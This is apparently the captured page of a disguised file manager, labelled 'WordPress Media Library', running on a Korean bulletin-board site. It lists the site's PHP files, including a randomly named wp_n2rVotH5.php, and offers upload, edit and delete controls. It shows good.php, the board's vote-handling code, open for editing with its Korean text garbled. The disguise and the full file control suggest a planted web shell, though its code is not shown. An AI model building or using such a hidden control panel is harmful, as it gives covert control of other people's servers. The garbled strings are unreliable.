โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: good.php
Size: 5.61 KB | Modified: 2019-12-05 09:09:25
<?php include_once('./_common.php'); run_event('bbs_good_before', $bo_table, $wr_id, $good); @include_once($board_skin_path.'/good.head.skin.php'); // ์๋ฐ์คํฌ๋ฆฝํธ ์ฌ์ฉ๊ฐ๋ฅํ ๋ if(isset($_POST['js']) && $_POST['js'] === "on") { $error = $count = ""; function print_result($error, $count) { echo '{ "error": "' . $error . '", "count": "' . $count . '" }'; if($error) exit; } if (!$is_member) { $error = 'ํ์๋ง ๊ฐ๋ฅํฉ๋๋ค.'; print_result($error, $count); } if (!($bo_table && $wr_id)) { $error = '๊ฐ์ด ์ ๋๋ก ๋์ด์ค์ง ์์์ต๋๋ค.'; print_result($error, $count); } $ss_name = 'ss_view_'.$bo_table.'_'.$wr_id; if (!get_session($ss_name)) { $error = 'ํด๋น ๊ฒ์๋ฌผ์์๋ง ์ถ์ฒ ๋๋ ๋น์ถ์ฒ ํ์ค ์ ์์ต๋๋ค.'; print_result($error, $count); } $row = sql_fetch(" select count(*) as cnt from {$g5['write_prefix']}{$bo_table} ", FALSE); if (!$row['cnt']) { $error = '์กด์ฌํ๋ ๊ฒ์ํ์ด ์๋๋๋ค.'; print_result($error, $count); } if ($good == 'good' || $good == 'nogood') { if($write['mb_id'] == $member['mb_id']) { $error = '์์ ์ ๊ธ์๋ ์ถ์ฒ ๋๋ ๋น์ถ์ฒ ํ์ค ์ ์์ต๋๋ค.'; print_result($error, $count); } if (!$board['bo_use_good'] && $good == 'good') { $error = '์ด ๊ฒ์ํ์ ์ถ์ฒ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ง ์์ต๋๋ค.'; print_result($error, $count); } if (!$board['bo_use_nogood'] && $good == 'nogood') { $error = '์ด ๊ฒ์ํ์ ๋น์ถ์ฒ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ง ์์ต๋๋ค.'; print_result($error, $count); } $sql = " select bg_flag from {$g5['board_good_table']} where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' and mb_id = '{$member['mb_id']}' and bg_flag in ('good', 'nogood') "; $row = sql_fetch($sql); if ($row['bg_flag']) { if ($row['bg_flag'] == 'good') $status = '์ถ์ฒ'; else $status = '๋น์ถ์ฒ'; $error = "์ด๋ฏธ $status ํ์ ๊ธ ์ ๋๋ค."; print_result($error, $count); } else { // ์ถ์ฒ(์ฐฌ์ฑ), ๋น์ถ์ฒ(๋ฐ๋) ์นด์ดํธ ์ฆ๊ฐ sql_query(" update {$g5['write_prefix']}{$bo_table} set wr_{$good} = wr_{$good} + 1 where wr_id = '{$wr_id}' "); // ๋ด์ญ ์์ฑ sql_query(" insert {$g5['board_good_table']} set bo_table = '{$bo_table}', wr_id = '{$wr_id}', mb_id = '{$member['mb_id']}', bg_flag = '{$good}', bg_datetime = '".G5_TIME_YMDHIS."' "); $sql = " select wr_{$good} as count from {$g5['write_prefix']}{$bo_table} where wr_id = '$wr_id' "; $row = sql_fetch($sql); $count = $row['count']; run_event('bbs_increase_good_json', $bo_table, $wr_id, $good); print_result($error, $count); } } } else { include_once(G5_PATH.'/head.sub.php'); if (!$is_member) { $href = G5_BBS_URL.'/login.php?'.$qstr.'&url='.urlencode(get_pretty_url($bo_table, $wr_id)); alert('ํ์๋ง ๊ฐ๋ฅํฉ๋๋ค.', $href); } if (!($bo_table && $wr_id)) alert('๊ฐ์ด ์ ๋๋ก ๋์ด์ค์ง ์์์ต๋๋ค.'); $ss_name = 'ss_view_'.$bo_table.'_'.$wr_id; if (!get_session($ss_name)) alert('ํด๋น ๊ฒ์๋ฌผ์์๋ง ์ถ์ฒ ๋๋ ๋น์ถ์ฒ ํ์ค ์ ์์ต๋๋ค.'); $row = sql_fetch(" select count(*) as cnt from {$g5['write_prefix']}{$bo_table} ", FALSE); if (!$row['cnt']) alert('์กด์ฌํ๋ ๊ฒ์ํ์ด ์๋๋๋ค.'); if ($good == 'good' || $good == 'nogood') { if($write['mb_id'] == $member['mb_id']) alert('์์ ์ ๊ธ์๋ ์ถ์ฒ ๋๋ ๋น์ถ์ฒ ํ์ค ์ ์์ต๋๋ค.'); if (!$board['bo_use_good'] && $good == 'good') alert('์ด ๊ฒ์ํ์ ์ถ์ฒ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ง ์์ต๋๋ค.'); if (!$board['bo_use_nogood'] && $good == 'nogood') alert('์ด ๊ฒ์ํ์ ๋น์ถ์ฒ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ง ์์ต๋๋ค.'); $sql = " select bg_flag from {$g5['board_good_table']} where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' and mb_id = '{$member['mb_id']}' and bg_flag in ('good', 'nogood') "; $row = sql_fetch($sql); if ($row['bg_flag']) { if ($row['bg_flag'] == 'good') $status = '์ถ์ฒ'; else $status = '๋น์ถ์ฒ'; alert("์ด๋ฏธ $status ํ์ ๊ธ ์ ๋๋ค."); } else { // ์ถ์ฒ(์ฐฌ์ฑ), ๋น์ถ์ฒ(๋ฐ๋) ์นด์ดํธ ์ฆ๊ฐ sql_query(" update {$g5['write_prefix']}{$bo_table} set wr_{$good} = wr_{$good} + 1 where wr_id = '{$wr_id}' "); // ๋ด์ญ ์์ฑ sql_query(" insert {$g5['board_good_table']} set bo_table = '{$bo_table}', wr_id = '{$wr_id}', mb_id = '{$member['mb_id']}', bg_flag = '{$good}', bg_datetime = '".G5_TIME_YMDHIS."' "); if ($good == 'good') $status = '์ถ์ฒ'; else $status = '๋น์ถ์ฒ'; $href = get_pretty_url($bo_table, $wr_id); run_event('bbs_increase_good_html', $bo_table, $wr_id, $good, $href); alert("์ด ๊ธ์ $status ํ์ จ์ต๋๋ค.", '', false); } } } run_event('bbs_good_after', $bo_table, $wr_id, $good); @include_once($board_skin_path.'/good.tail.skin.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete